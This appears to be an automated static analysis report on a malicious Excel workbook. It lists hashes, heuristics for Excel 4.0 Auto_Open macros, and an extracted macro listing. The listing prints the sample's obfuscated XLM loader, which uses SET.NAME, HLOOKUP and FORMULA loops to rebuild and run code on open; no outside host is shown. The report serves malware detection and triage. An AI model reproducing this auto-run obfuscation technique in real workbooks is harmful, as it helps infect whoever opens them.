Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9844d1395e0353b1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:31:37 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: dbceb687c9735534cbe5f1158ade1a13 SHA-1: efb45028cdf4b2fbbd05637511830dc65c3ecb9b SHA-256: 9844d1395e0353b1ad070f6955baeda8652bd5cd3992a70b53ef1ec451bd9b33
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6699 bytes
SHA-256: 3f74ac6d3fa8ee5ffb7d44ff966c8f8f5c8428ec12fa0d7d245cc35b522eed3a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FqICSQRmqRT
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F151 
' 0018     27 LABEL : Cell Value, String Constant - cbwKhMVGlqqG len=0 
' 0018     20 LABEL : Cell Value, String Constant - DRjjO len=0 
' 0018     24 LABEL : Cell Value, String Constant - DRVGOWfsG len=0 
' 0018     20 LABEL : Cell Value, String Constant - FiObO len=0 
' 0018     22 LABEL : Cell Value, String Constant - HVlbnAx len=0 
' 0018     27 LABEL : Cell Value, String Constant - ImlHdmHrFDQl len=0 
' 0018     24 LABEL : Cell Value, String Constant - IRLLotHTK len=0 
' 0018     23 LABEL : Cell Value, String Constant - JjavrxXi len=0 
' 0018     25 LABEL : Cell Value, String Constant - kriZGpnnVd len=0 
' 0018     26 LABEL : Cell Value, String Constant - mfCpxJtiKzn len=0 
' 0018     20 LABEL : Cell Value, String Constant - Msefv len=0 
' 0018     26 LABEL : Cell Value, String Constant - PyryOuKOyPv len=0 
' 0018     21 LABEL : Cell Value, String Constant - qOBgRB len=0 
' 0018     21 LABEL : Cell Value, String Constant - SReYfb len=0 
' 0018     20 LABEL : Cell Value, String Constant - STrDl len=0 
' 0018     22 LABEL : Cell Value, String Constant - TheXoQp len=0 
' 0018     24 LABEL : Cell Value, String Constant - TPwOdJzWp len=0 
' 0018     26 LABEL : Cell Value, String Constant - VXhPPtsLKLR len=0 
' 0018     22 LABEL : Cell Value, String Constant - waAvBNv len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZMTabdSQHbSw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FqICSQRmqRT,F54,"SET.NAME("FiObO",VALUE("0"))",""
'  FqICSQRmqRT,F58,"SET.NAME("ImlHdmHrFDQl",FiObO)",""
'  FqICSQRmqRT,F61,"SET.NAME("TPwOdJzWp",FiObO)",""
'  FqICSQRmqRT,F65,"SET.NAME("Msefv",COUNTA(mfCpxJtiKzn))",""
'  FqICSQRmqRT,F70,"SET.NAME("TheXoQp",COUNTA(VXhPPtsLKLR))",""
'  FqICSQRmqRT,F74,[],""
'  FqICSQRmqRT,F76,"SET.NAME("IRLLotHTK","")",""
'  FqICSQRmqRT,F80,"ImlHdmHrFDQl",""
'  FqICSQRmqRT,F82,"SET.NAME("cbwKhMVGlqqG",HLOOKUP("*",mfCpxJtiKzn,ImlHdmHrFDQl,FALSE))",""
'  FqICSQRmqRT,F86,"ZMTabdSQHbSw",""
'  FqICSQRmqRT,F91,"SET.NAME("DRVGOWfsG",FiObO)",""
'  FqICSQRmqRT,F96,[],""
'  FqICSQRmqRT,F100,"DRVGOWfsG",""
'  FqICSQRmqRT,F105,"STrDl",""
'  FqICSQRmqRT,F108,"PyryOuKOyPv",""
'  FqICSQRmqRT,F112,"JjavrxXi",""
'  FqICSQRmqRT,F116,"SET.NAME("SReYfb",VALUE(HLOOKUP("*",VXhPPtsLKLR,JjavrxXi,FALSE)))",""
'  FqICSQRmqRT,F121,"DRjjO",""
'  FqICSQRmqRT,F125,"IRLLotHTK",""
'  FqICSQRmqRT,F127,"TPwOdJzWp",""
'  FqICSQRmqRT,F132,NEXT(),""
'  FqICSQRmqRT,F134,"qOBgRB",""
'  FqICSQRmqRT,F137,"SET.NAME("f",INT(T(FORMULA(T(IRLLotHTK)&"",""&T(qOBgRB)))))",""
'  FqICSQRmqRT,F139,"waAvBNv",""
'  FqICSQRmqRT,F144,NEXT(),""
'  FqICSQRmqRT,F149,RETURN(),""
'  FqICSQRmqRT,F175,"SET.NAME("kriZGpnnVd",F54)",""
'  FqICSQRmqRT,F178,"mfCpxJtiKzn",""
'  FqICSQRmqRT,F183,"SET.NAME("VXhPPtsLKLR",R74C13)",""
'  FqICSQRmqRT,F186,"SET.NAME("waAvBNv",194)",""
'  FqICSQRmqRT,F189,"SET.NAME("HVlbnAx",6)",""
'  FqICSQRmqRT,F193,kriZGpnnVd(),""
'  FqICSQRmqRT,F194,HALT(),""

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